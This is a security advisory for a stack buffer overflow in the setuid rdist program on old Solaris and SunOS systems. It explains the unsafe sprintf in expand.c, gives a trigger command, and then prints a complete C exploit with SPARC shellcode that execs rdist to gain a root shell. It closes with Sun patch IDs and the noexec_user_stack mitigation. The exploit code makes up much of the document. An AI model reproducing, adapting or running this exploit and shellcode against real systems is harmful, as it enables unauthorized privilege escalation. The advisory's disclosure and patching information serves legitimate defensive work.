COMMAND
rdist
SYSTEMS AFFECTED
Solaris 2.x, SunOS 4.1.3, 4.1.4
PROBLEM
John McDonald posted following. Enclosed is an exploit for a hole
in Solaris rdist This exploit was tested on 2.6, 2.5.1, and 2.5
machines. You can see the hole if you look at the bsd source for
rdist, which is apparantly pretty similiar to the code Sun used.
The vulnerability is in expand.c, which you can look at here:
http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5
Part of the program's functionality is to allow a user to define
variables and reference them in a way similiar to environment
variables. The problem comes in when the program attempts to
substitute the symbol representing the variable with it's value.
You should be able to see this by doing:
rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}'
In the function expstr(), we have:
if (tp != NULL) {
for (; tp != NULL; tp = tp->n_next) {
(void) sprintf((char *)ebuf,
"%s%s%s", s, tp->n_name, tail);
expstr(ebuf);
}
return;
}
A little higher in the code, we see:
u_char ebuf[BUFSIZ];
This is obviously a bad thing. BTW, none of the bsds or linuxs are
vulnerable to any rdist hole to the best of my knowledge because
the binary isn't suid. Exploit follows:
/* rdist solaris 2.* sploit */
/* by horizon. thanks to ktwo */
/* argv[1] is your offset */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1024
#define SAFETY 40 /* blind guess */
#define EXTRA 400
#define STACK_OFFSET 2360
#define SAFETY_OFFSET 248
#define SPARC_NOP 0xac15a16e
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08";
int addr_ok(long a)
{
if (((a>>24)&255)==0) return 0;
if (((a>>16)&255)==0) return 0;
if (((a>>8)&255)==0) return 0;
if (((a)&255)==0) return 0;
return 1;
}
u_long get_safe_addr(long sp)
{
return sp-SAFETY_OFFSET;
}
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
char tempbuf[BUF_LENGTH + EXTRA + 8+6];
long stack,targ_addr,safe_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
stack=get_sp();
safe_addr=get_safe_addr(stack);
while(addr_ok(safe_addr)==0) safe_addr+=8;
targ_addr = stack + STACK_OFFSET - dso;
while(addr_ok(targ_addr)==0) targ_addr+=8;
long_p =(u_long *) buf ;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
*char_p++=' ';
*char_p++=' ';
for (i = 0; i < SAFETY /4; i++)
{
*char_p++ =(safe_addr>>24)&255;
*char_p++ =(safe_addr>>16)&255;
*char_p++ =(safe_addr>>8)&255;
*char_p++ =(safe_addr)&255;
}
for (i = 0; i < (EXTRA-SAFETY) /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}
*char_p++=0;
sprintf(tempbuf,"bleh=%s",&buf[2]);
printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
stack,safe_addr,stack-safe_addr);
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
perror("execl failed");
}
SOLUTION
Sun recommends that you install the respective patches immediately
on affected systems:
Operating System Patch ID
================ ========
Solaris 2.6 105667-02
Solaris 2.6_x86 105668-02
Solaris 2.5.1 103817-03
Solaris 2.5.1_x86 103818-03
Solaris 2.5 103815-03
Solaris 2.5_x86 103816-03
Solaris 2.4 103813-03
Solaris 2.4_x86 103814-03
Solaris 2.3 101494-04
SunOS 4.1.4 103824-04
SunOS 4.1.3_U1 103823-04
This is foiled however by adding "set noexec_user_stack=1" to
/etc/system. For those unfamiliar with the feature, also try
"set noexec_user_stack_log =1"; it will cause messages to be
logged in such cases.